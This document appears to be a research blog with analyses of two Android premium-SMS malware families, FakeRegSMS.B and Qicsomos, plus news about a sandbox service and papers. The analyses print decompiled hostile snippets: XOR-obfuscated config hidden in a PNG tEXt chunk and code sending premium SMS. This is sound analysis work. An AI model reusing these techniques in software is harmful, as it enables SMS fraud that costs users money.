Detailed Analysis of Android.FakeRegSMS.B

Intro: What is Android.FakeRegSMS.B?

This new malware-family emerged some weeks ago in an unofficial Android-Market. It sends SMS messages to premium rated numbers and tries to hide this action from the malware investigators by using some kind of steganography.

After investigating the app, we would declare this app more as FRAUD than as real MALWARE, because the user gets a “Rules” button where he/she can see that the service will send a SMS message to a premium service.

Analysis of the Application and Its Structure

The app requests the following permission:

  • android.permission.SEND_SMS

After the application has been installed successfully, the icon of the app shows up in the dashboard. (The icon was pixelated due to its content)


The interesting part of the application: Steganography!

The first hint that this app is doing something “strange” appears when you look at the following lines:

byte[] arrayOfByte2 = localByteArrayOutputStream1.toByteArray();
int k = paramInt + (-4 + new String(arrayOfByte2).indexOf("tEXt"));
if (k < 0)
   throw new IOException("Chank tEXt not found in png");

Here it seems, that the app is searching for a special string inside a png-picture-file. After searching in the MainActivity we could extract the filename of this png-picture and the responsible lines of code:

invoke-virtual {p0}, Landroid/app/Activity;->getAssets()Landroid/content/res/AssetManager;
move-result-object v0
const-string v2, "icon.png"
invoke-virtual {v0, v2}, Landroid/content/res/AssetManager;->open(Ljava/lang/String;)Ljava/io/InputStream;
move-result-object v1
iget-object v0, p0, Lcom/termate/MainActivity;->d:Lcom/termate/a;

The picture that the app tries to load into a byte array, is the application's icon which can be found in different resolutions in the directories listed afterwards:

  • /res/drawable-hdpi/icon.png
  • /res/drawable-mdpi/icon.png
  • /res/drawable-ldpi/icon.png

When looking at these files with a hex editor we can locate the "tEXt" chunk very quickly. This chunk of data is identical within all of these three png-files. The binary data can be seen in the next picture:

Normally, this chunk is only allowed to contain printable Latin-1 characters and spaces. In our case there is binary data which looks very suspicious under this circumstances. When looking again in the code of the class-file we can find the following code snippet:

ByteArrayOutputStream localByteArrayOutputStream2 = new ByteArrayOutputStream();
for (int i1 = i; ; i1++)
   {
      int i2 = (byte)localDataInputStream1.read();
      if (i2 == -1)
         break;
      localByteArrayOutputStream2.write(i2 ^ "f_+wqlfh4 @312!@#DSAD fh8w3hf43f@#$! r43".charAt(i1 % "f_+wqlfh4 @312!@#DSAD fh8w3hf43f@#$! r43".length()));
   }

These code snippet shows that the app is reading every single byte of the tEXt chunk and is doing a XOR operation with a hardcoded key: f_+wqlfh4 @312!@#DSAD fh8w3hf43f@#$! r43

To get the unobfuscated values of the tEXt chunk we are using the python script below.

#!/usr/bin/python
key = "f_+wqlfh4 @312!@#DSAD fh8w3hf43f@#$! r43"
length = len(key)
obfuscatedData = "\x66\x5E\x2B\x7E\x45\x5E\x56\x48\x05\x10\x70\x07\x09\x32\x25\x75\x12\x75\x62\x41\xD2\x20\x60\x68\x31\x05\x56\x19\x13\x51\x40\x12\x0E\x4C\x24\x20\x11\x72\x38\x5E\x07\x27\x79\x12\x00\x19\x03\x1B\x40\x6E\x2F\x33\x35\x53\x54\x34\x4C\x44\x5A\x22\x2B\x53\x12\x24\x51\x1A\x5A\x1C\x66\x37\x02\x53\x70\x23\x2B\x42\x4F\x01\x40\x7F\x0F\x32\x42\x03\x21\x09\x14\x01\x5B\x44\x40\x36\x09\x04\x15\x70\x13\x44\x5B\x32\x29\x53\x22\x0D\x54\x16\x4A\x68\x64\x05\x06\x66\x47\x50\x49\x52\x64\x13\x40\x52\x66\x7E\x47\x42\x49\x5B\x54\x5E\x04\x10\x78\x0B\x04\x04\x18\x77\x12\x76\x65\x72\x7C\x17\x52\x59\x0E\x4E\x07\x5F\x53\x06\x05\x51\x76\x13\x48\x15\x70\x8F\x09"
unObfuscatedData = ""
for x, y in enumerate(obfuscatedData):
    keyIndex = x % length
    unObfuscatedData = unObfuscatedData + chr(ord(y) ^ ord(key[keyIndex]))
print "unobfuscated data: " + unObfuscatedData

After running this small python script we receive the following output:

420 100485111? requestNo1 maxRequestNoauto costLimit150 costLimitPeriod8640 smsDelay15 smsData!l5872600885697126387416947526760l4P?=

With this unobfuscated strings, the following few lines of code of the class-file make some more sense:

if (i < i5){
   String str;
   try{
      str = localDataInputStream2.readUTF();
      if (str.equals("costLimit")){
         this.d = Integer.parseInt(localDataInputStream2.readUTF());
         break label519;
      }
      if (str.equals("costLimitPeriod"))
         this.e = Integer.parseInt(localDataInputStream2.readUTF());
      }
   catch (IOException localIOException){
      localIOException.printStackTrace();
      break label519;
      if (str.equals("smsData"))
         this.f = localDataInputStream2.readUTF();
   }
   catch (NumberFormatException localNumberFormatException){
          localNumberFormatException.printStackTrace();
       }
   if (str.equals("smsDelay"))
      this.h = Integer.parseInt(localDataInputStream2.readUTF());
   else
      this.g.put(str, localDataInputStream2.readUTF());
}

With the output of our python script we get some values for the variables used in the code snippet above:

  • costLimit = 150
  • costLimitPeriod = 8640
  • smsData = l5872600885697126387416947526760l
  • smsDelay = 15

Looking again in our class-file we can extract this code snippet indicating that the application is trying to send a SMS message:

private static boolean a(String paramString1, String paramString2){
   try{
      SmsManager.getDefault().sendTextMessage(paramString1, null, paramString2, null, null);
      return true;
   }
   catch (Exception localException){
      while (true)
         Log.e("Logic", "Error sending sms", localException);
   }
}

After we found all these data, we were running the app in the Android emulator to proof our assumptions. When pushing the "Next" button in the main UI (see the picture in the middle of the first figure) the emulator logs an outgoing SMS message:

Decoding the PDU message in this figure we get the following information which is in conformity with our data we encoded from the tEXt chunk of the png-picture:

  • Receipient: 5111
  • Message: 420 10048 l5872600885697126387416947526760l0100

After some investigation, we think that the phone numer 5111 belongs to a service called smscoin, allowing users to donate money to another user via SMS messages. Looking at the "Rules" of the app, the amount of money the user donates to the app author (erohit.biz) is between 15 and 400 Russian ruble.

Sample Information:

sha256:
8a8a246eea40e49b1aaad23fd867b8a9faeb936fe020ba5ce43b4547331a63ea

md5:
41ca3efde1fb6228a3ea13db67bd0722

Mobile-Sandbox Report

New Mobile-Sandbox-System

Over the last few weeks we did a lot of research and development in the filed of mobile malware analysis. As a result, the new and improved Mobile-Sandbox is now online. Over the next few weeks, we are trying to implement some more features, so stay tuned!

–> Mobile-Sandbox.com

Detailed Analysis of Android.Qicsomos

Intro: What is Android.Qicsomos?

Android.Qicsomos is a new Android malware that emerged some days ago. It sends SMS messages to premium rated numbers.

Analysis of the Application and Its Structure

The app requests the following permissions:

  • android.permission.READ_LOGS
  • android.permission.SEND_SMS

After the application has been installed successfully, the icon of the app shows up in the dashboard. The name of the application and the UI look like an app for detecting CarrierIQ.

The Malicious Parts:

The malicious part of the app starts, when an user hits the “Déinstaller” button. The app sends four SMS messages to “81168” containing the text “AT37”, “MC49”, “SP99” and “SP93” before it gets deinstalled. (for more information see the following code-snippet)

localSmsManager.sendTextMessage("81168", null, "AT37", null, null);
try{
    label15: localSmsManager.sendTextMessage("81168", null, "MC49", null, null);
    try{
        label26: localSmsManager.sendTextMessage("81168", null, "SP99", null, null);
        try{
            label37: localSmsManager.sendTextMessage("81168", null, "SP93", null, null);
            label48: Intent localIntent = new Intent("android.intent.action.DELETE", Uri.parse("package:org.projectvoodoo.simplecarrieriqdetector"));
...

Sample Information:

sha256:
79a3bc6da45243355a920082dc67da0febf19379c25c721c43fd6b3f83ff4ef4

md5:
69b9691a8274a17cdc22e9681b3e1c74

Mobile-Sandbox Report

8th Annual IFIP WG11.9 International Conference on Digital Forensics

We published and presented the paper “Forensic Acquisition of Location Data from Android Smartphones” at the IFIP WG11.9 conference in January this year. This paper covers the forensic acquisition of location data from Android smartphones (system and applications) and the corresponding generation of movement profiles. It will be published in the upcoming edition of “Advances in Digital Forensics”.

Paper accepted!

Today, we got the great message that two of our papers “Analyse und Vergleich von BckR2D2-I und II” and “Forensic Analysis of YAFFS2” had been accepted for the Sicherheit2012 in Darmstadt.

We are really looking forward to participate.